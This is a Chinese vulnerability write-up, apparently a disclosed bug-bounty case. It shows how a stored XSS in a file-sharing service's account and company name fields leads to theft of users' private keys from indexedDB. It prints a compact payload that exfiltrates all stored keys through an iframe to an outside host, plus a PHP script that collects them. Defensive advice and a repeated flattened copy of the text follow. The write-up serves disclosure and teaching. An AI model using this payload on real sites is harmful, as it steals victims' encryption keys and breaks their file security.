挖洞经验 | 从安全的文件共享服务中获取用户私钥信息
字数 1295 2025-08-18 11:39:07

从安全的文件共享服务中获取用户私钥信息 - 漏洞分析与利用教学

漏洞背景

本文分析了一种存在于声称"安全"的文件共享服务中的高危漏洞组合,通过存储型XSS漏洞最终获取用户的加密私钥信息。该服务声称使用端到端加密保护用户文件传输,但实际上存在严重安全隐患。

漏洞发现过程

1. 初始发现

  • 目标服务:提供Web端到端文件传输的在线服务
  • 加密声明:使用RSA和AES私钥的本地端到端加密
  • 特点:非开源实现,缺乏公开的加密细节

2. 存储型XSS漏洞

漏洞位置

  • 账户名称字段
  • 公司名称字段

漏洞验证

  • 注入基本XSS Payload:<script>alert('Hi there!');</script>
  • 当其他用户访问包含该用户名的文件请求链接时,脚本执行

利用场景

  • 用户创建文件请求会生成一个链接
  • 该链接页面会显示用户名/公司名
  • 恶意脚本在受害者访问链接时执行

深入利用:获取用户私钥

1. 加密机制分析

  • 服务使用客户端非对称加密保护文件
  • 加密通过JavaScript实现
  • 用户私钥存储在本地indexedDB数据库中
  • 私钥不会通过网络发送(理论上)

2. 私钥提取技术

indexedDB访问方法

var dbReq = indexedDB.open("companyname");
dbReq.onsuccess = function() {
    var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key");
    store.onsuccess = function() {
        alert(store.result.pem);
    };
};

关键点

  • 打开名为"companyname"的indexedDB数据库
  • 访问"keys"对象存储
  • 获取键为"52_private_key"的私钥数据
  • 通过alert显示私钥的PEM格式

3. 数据外传技术

限制条件

  • 名称字段最多255个字符
  • CORS限制导致Ajax请求失败

解决方案

  1. 使用jQuery简化Ajax请求(但因CORS失败)
  2. 改用iframe方式外传数据:
$('body').append(
    '<iframe src="//example.com/?k=' +
    btoa(JSON.stringify(secret_data)) + 
    '">'
);

优化后的PoC(255字符内):

<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]).objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa(JSON.stringify(b.target.result))+'">');</script>

4. 服务器端收集

简单PHP接收脚本示例:

<?php
if(isset($_GET['k'])) {
    file_put_contents('keys.txt', base64_decode($_GET['k'])."\n", FILE_APPEND);
}
?>

漏洞修复与响应

  • 研究人员15分钟内收到厂商回复
  • 漏洞在1小时内修复
  • 修复措施可能包括:
    • 输入字段的严格过滤
    • CSP策略实施
    • indexedDB访问限制

安全建议

对于服务提供商

  1. 实施严格的输入验证和输出编码
  2. 部署内容安全策略(CSP)
  3. 限制敏感数据的客户端存储方式
  4. 进行彻底的安全审计
  5. 考虑开源实现以接受社区审查

对于用户

  1. 不要盲目信任声称"安全"的服务
  2. 评估服务的:
    • 运行历史
    • 是否开源
    • 实际应用考验
    • 第三方安全审计
  3. 对于高度敏感数据,考虑使用知名、经过验证的加密工具

对于开发者

  1. 永远不要信任客户端存储的敏感数据
  2. 实施防御XSS的多层防护:
    • 输入验证
    • 输出编码
    • CSP
    • HTTP安全头
  3. 对于加密实现:
    • 使用标准化、经过验证的库
    • 避免在JavaScript中实现核心加密逻辑
    • 考虑Web Crypto API而非自行管理密钥

技术总结

本案例展示了如何通过组合漏洞(存储型XSS + 不安全的客户端数据存储)破坏声称安全的加密服务。关键教训包括:

  1. 客户端加密的实现必须极其谨慎
  2. XSS漏洞可能成为破坏加密系统的入口
  3. 声称"安全"的服务需要经过严格验证
  4. 安全是一个系统工程,不能依赖单一防护措施

通过这个案例,安全研究人员可以学习到现代Web应用中漏洞链的构造方法,以及如何评估声称安全的服务的实际安全性。

从安全的文件共享服务中获取用户私钥信息 - 漏洞分析与利用教学 漏洞背景 本文分析了一种存在于声称"安全"的文件共享服务中的高危漏洞组合,通过存储型XSS漏洞最终获取用户的加密私钥信息。该服务声称使用端到端加密保护用户文件传输,但实际上存在严重安全隐患。 漏洞发现过程 1. 初始发现 目标服务:提供Web端到端文件传输的在线服务 加密声明:使用RSA和AES私钥的本地端到端加密 特点:非开源实现,缺乏公开的加密细节 2. 存储型XSS漏洞 漏洞位置 : 账户名称字段 公司名称字段 漏洞验证 : 注入基本XSS Payload: <script>alert('Hi there!');</script> 当其他用户访问包含该用户名的文件请求链接时,脚本执行 利用场景 : 用户创建文件请求会生成一个链接 该链接页面会显示用户名/公司名 恶意脚本在受害者访问链接时执行 深入利用:获取用户私钥 1. 加密机制分析 服务使用客户端非对称加密保护文件 加密通过JavaScript实现 用户私钥存储在本地indexedDB数据库中 私钥不会通过网络发送(理论上) 2. 私钥提取技术 indexedDB访问方法 : 关键点 : 打开名为"companyname"的indexedDB数据库 访问"keys"对象存储 获取键为"52_ private_ key"的私钥数据 通过alert显示私钥的PEM格式 3. 数据外传技术 限制条件 : 名称字段最多255个字符 CORS限制导致Ajax请求失败 解决方案 : 使用jQuery简化Ajax请求(但因CORS失败) 改用iframe方式外传数据: 优化后的PoC (255字符内): 4. 服务器端收集 简单PHP接收脚本示例: 漏洞修复与响应 研究人员15分钟内收到厂商回复 漏洞在1小时内修复 修复措施可能包括: 输入字段的严格过滤 CSP策略实施 indexedDB访问限制 安全建议 对于服务提供商 实施严格的输入验证和输出编码 部署内容安全策略(CSP) 限制敏感数据的客户端存储方式 进行彻底的安全审计 考虑开源实现以接受社区审查 对于用户 不要盲目信任声称"安全"的服务 评估服务的: 运行历史 是否开源 实际应用考验 第三方安全审计 对于高度敏感数据,考虑使用知名、经过验证的加密工具 对于开发者 永远不要信任客户端存储的敏感数据 实施防御XSS的多层防护: 输入验证 输出编码 CSP HTTP安全头 对于加密实现: 使用标准化、经过验证的库 避免在JavaScript中实现核心加密逻辑 考虑Web Crypto API而非自行管理密钥 技术总结 本案例展示了如何通过组合漏洞(存储型XSS + 不安全的客户端数据存储)破坏声称安全的加密服务。关键教训包括: 客户端加密的实现必须极其谨慎 XSS漏洞可能成为破坏加密系统的入口 声称"安全"的服务需要经过严格验证 安全是一个系统工程,不能依赖单一防护措施 通过这个案例,安全研究人员可以学习到现代Web应用中漏洞链的构造方法,以及如何评估声称安全的服务的实际安全性。